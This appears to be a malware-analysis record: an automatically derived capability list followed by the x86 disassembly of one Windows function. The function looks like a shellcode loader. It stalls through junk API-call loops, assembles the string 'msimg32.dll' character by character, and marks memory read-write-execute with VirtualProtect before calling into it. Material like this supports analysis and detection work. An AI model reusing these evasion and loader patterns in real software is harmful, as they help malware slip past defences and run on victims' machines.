Function at 0x46b030
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Copy file
Create mailslot
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk information
Get file attributes
Get geographical location
Get hostname
Manipulate console buffer
Move file
Query environment variable
Read .ini file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x470696
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x2dd0
call fcn.0040b1d0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
push ebp
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_CharUpperBuffA]
xor ebp, ebp
xor esi, esi
lea ebx, [ebx]
cmp esi, 0x1e169
jge 0x46b07e
push ebp
push ebp
call edi
call ebx
cmp esi, 0x1e9b1d8e
jle 0x46b09a
cmp dword [esp + 0x10], 0xc095d8
je 0x46b09a
cmp dword [esp + 0x3c], 0x903b058
jne 0x46b0a3
inc esi
cmp esi, 0x98a5a
jl 0x46b070
cmp dword [0x22c3480], 0xcf8
jne 0x46b207
push ebp
push ebp
push ebp
call fcn.0040466a
push 0x4033b4
push ebp
call fcn.0040466a
push ebp
call fcn.0040463a
push ebp
push ebp
call fcn.00403da9
push ebp
call fcn.00404866
add esp, 0x24
mov dword [esp + 0x8c], ebp
mov dword [esp + 0x90], ebp
mov dword [esp + 0x94], ebp
mov dword [esp + 0x2dec], ebp
xor eax, eax
mov dword [esp + 0x44], 0xf
mov dword [esp + 0x40], ebp
mov byte [esp + 0x30], 0
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x46b110
sub eax, edx
mov esi, eax
cmp esi, 0xfffffffe
jbe 0x46b12a
push 0x403758
call fcn.00403d3b
cmp esi, 0xf
jbe 0x46b13d
push ebp
push esi
lea eax, [esp + 0x38]
push eax
call fcn.00403af0
jmp 0x46b14a
cmp esi, ebp
jne 0x46b14c
mov dword [esp + 0x40], ebp
mov byte [esp + 0x30], 0
cmp esi, ebp
seta al
mov edi, 0x10
test al, al
je 0x46b187
mov eax, dword [esp + 0x30]
cmp dword [esp + 0x44], edi
jae 0x46b166
lea eax, [esp + 0x30]
push esi
push ebp
push eax
call fcn.00408f70
mov eax, dword [esp + 0x3c]
add esp, 0xc
mov dword [esp + 0x40], esi
cmp dword [esp + 0x44], edi
jae 0x46b183
lea eax, [esp + 0x30]
mov byte [eax + esi], 0
mov byte [esp + 0x2dec], 0
cmp dword [esp + 0x44], edi
jb 0x46b1a2
mov ecx, dword [esp + 0x30]
push ecx
call fcn.00404727
add esp, 4
push 0x24
call fcn.00404ae7
add esp, 4
cmp eax, ebp
je 0x46b1de
mov esi, eax
mov dword [eax], eax
mov dword [eax + 4], eax
cmp esi, eax
je 0x46b1d8
mov edx, dword [esi + 4]
mov eax, dword [esi]
mov dword [edx], eax
mov ecx, dword [esi]
mov edx, dword [esi + 4]
mov dword [ecx + 4], edx
call fcn.00403cd0
push esi
call fcn.00404727
add esp, 4
push ebp
call fcn.004045e8
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x6c]
mov dword [esp + 0x14], ebp
call fcn.00403e64
push 0x4846c8
lea ecx, [esp + 0x6c]
push ecx
mov dword [esp + 0x70], 0x401308
call fcn.00404d07
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetSystemPowerState]
mov ebp, dword [sym.imp.KERNEL32.dll_FindFirstVolumeA]
xor esi, esi
jmp 0x46b220
cmp esi, 0x408
jne 0x46b233
mov eax, 0x5d1
add dword [0x22c3480], eax
cmp dword [0x22c3480], 3
jne 0x46b252
push 0
call edi
push 0
push 0
call ebx
push 0
lea edx, [esp + 0xa4]
push edx
call ebp
inc esi
cmp esi, 0x1518d4
jl 0x46b220
call fcn.0046ad70
mov eax, dword [0x22c3480]
mov edi, dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
test eax, eax
je 0x46b2d1
mov ebx, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov ebp, dword [sym.imp.KERNEL32.dll_SetThreadUILanguage]
cmp eax, 0xfe
jne 0x46b2a8
push 0
call ebx
push 0
call ebp
xor eax, eax
lea edx, [esp + 0x10]
push edx
push eax
push eax
lea ecx, [esp + 0xac]
push ecx
push eax
mov dword [esp + 0x28], eax
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
call fcn.0046adb0
mov eax, dword [0x22c3480]
cmp eax, 0x29
jne 0x46b2cc
call edi
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceExW]
mov eax, dword [0x22c3480]
inc esi
cmp esi, eax
jb 0x46b27d
cmp eax, 0x70
jne 0x46b374
push 0
lea edx, [esp + 0x9e4]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x4033c8
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointA]
mov esi, dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push 0
push 0
call esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
call edi
push 0x4033e8
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
lea eax, [esp + 0x10]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetTapeParameters]
push 0
push 0
lea ecx, [esp + 0xa8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
push 0
lea edx, [esp + 0x5e4]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push 0
push 0
call esi
push 0x403408
push 0x4034ac
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov eax, dword [0x22c3480]
mov ebx, dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
mov esi, dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov ebp, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov dword [esp + 0x10], 0x9682ab
cmp eax, 3
jne 0x46b3c7
push 0
lea eax, [esp + 0x7c]
push eax
push 0
lea ecx, [esp + 0x5ec]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
lea edx, [esp + 0x4a0]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov eax, dword [0x22c3480]
cmp eax, 0xdf
jne 0x46b620
push 0x4034dc
push 0
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
lea edx, [esp + 0x7c]
push edx
push eax
push eax
lea ecx, [esp + 0x5ec]
push ecx
push eax
mov dword [esp + 0x28], eax
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
push 0x4034e8
push 0x403518
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelW]
push 0
push 0
push 0
call esi
lea edx, [esp + 0x84]
push edx
call edi
push 0
push 0
lea eax, [esp + 0x88]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push 0
lea ecx, [esp + 0x28]
push ecx
call ebp
push 0
push 0
push 0
push 0x403588
call dword [sym.imp.KERNEL32.dll_CreateMailslotW]
mov edx, dword [esp + 0x24]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
push 0
lea eax, [esp + 0xa4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetAtomNameA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [esp + 0x88]
push ecx
push 0
lea edx, [esp + 0x94]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
push 0x4035fc
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push 0
push 0
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
push 0
lea eax, [esp + 0x20]
push eax
call ebp
lea ecx, [esp + 0x20]
push ecx
call edi
lea edx, [esp + 0x28]
push edx
push 0
lea eax, [esp + 0x19e8]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsW]
push 0
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByte]
lea ecx, [esp + 0x2c]
push ecx
push 0x403604
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
push 0
lea edx, [esp + 0x15e4]
push edx
push 0
call dword [sym.imp.KERNEL32.dll__lread]
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapWalk]
lea eax, [esp + 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
lea ecx, [esp + 0x11e4]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
push 0x403620
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoW]
push 0
lea edx, [esp + 0x21e4]
push edx
push 0x4036e8
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0
lea eax, [esp + 0x25e4]
push eax
push 0x403708
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointA]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x9e4]
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push 0x30
lea eax, [esp + 0x38]
push 0
push eax
mov dword [esp + 0x3c], 0
call fcn.00409300
add esp, 0xc
push 0
lea ecx, [esp + 0x34]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
mov eax, dword [0x22c3480]
dec dword [esp + 0x10]
jne 0x46b394
mov edi, dword [sym.imp.USER32.dll_CharUpperA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, 0x9c3c674
jmp 0x46b640
push 0
call edi
push 0
call ebx
dec esi
jne 0x46b640
mov esi, 0x25887
cmp dword [0x22c3480], 0x222
jne 0x46b666
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
dec esi
jne 0x46b650
mov eax, dword [0x22c3480]
mov ecx, dword [0x48f5e4]
lea edx, [esp + 0x18]
push edx
push 0x40
push eax
push ecx
mov byte [0x48a850], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.0046afe0
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
jmp 0x46b6a0
cmp dword [0x22c3480], 0xba
jne 0x46b6b9
lea edx, [esp + 0x18]
push edx
push 0
push 0
push 0
call edi
cmp esi, 0x2f64
jne 0x46b6c6
call fcn.0046ad90
inc esi
cmp esi, 0x1605a
jl 0x46b6a0
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpWriteData]
mov edi, 0xf2b8b
lea ebx, [ebx]
cmp dword [0x22c3480], 0x21
jne 0x46b6f3
push 0
push 0
push 0
push 0
call esi
dec edi
jne 0x46b6e0
mov eax, 0x73
mov ecx, 0x6d
mov word [0x22c2492], ax
mov word [0x22c2496], cx
xor ecx, ecx
mov edx, 0x33
mov eax, 0x67
mov word [0x22c249a], dx
mov word [0x22c24a6], cx
mov word [0x22c2498], ax
mov ecx, 0x69
mov edx, 0x6d
mov eax, 0x6c
push 0x22c2490
mov dword [0x22c24a0], 0x6c0064
mov word [0x22c2494], cx
mov word [0x22c2490], dx
mov word [0x22c24a4], ax
mov dword [0x22c249c], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x22c3480], 0xc30
jne 0x46b7ee
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
push edi
lea eax, [esp + 0x1c]
push eax
push edi
lea ecx, [esp + 0x9ec]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push edi
lea edx, [esp + 0x25e4]
push edx
lea eax, [esp + 0x34]
push eax
lea ecx, [esp + 0x34]
push ecx
lea edx, [esp + 0x30]
push edx
lea eax, [esp + 0x30]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
push edi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push edi
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_SetCommMask]
call dword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov ecx, dword [esp + 0x2de4]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret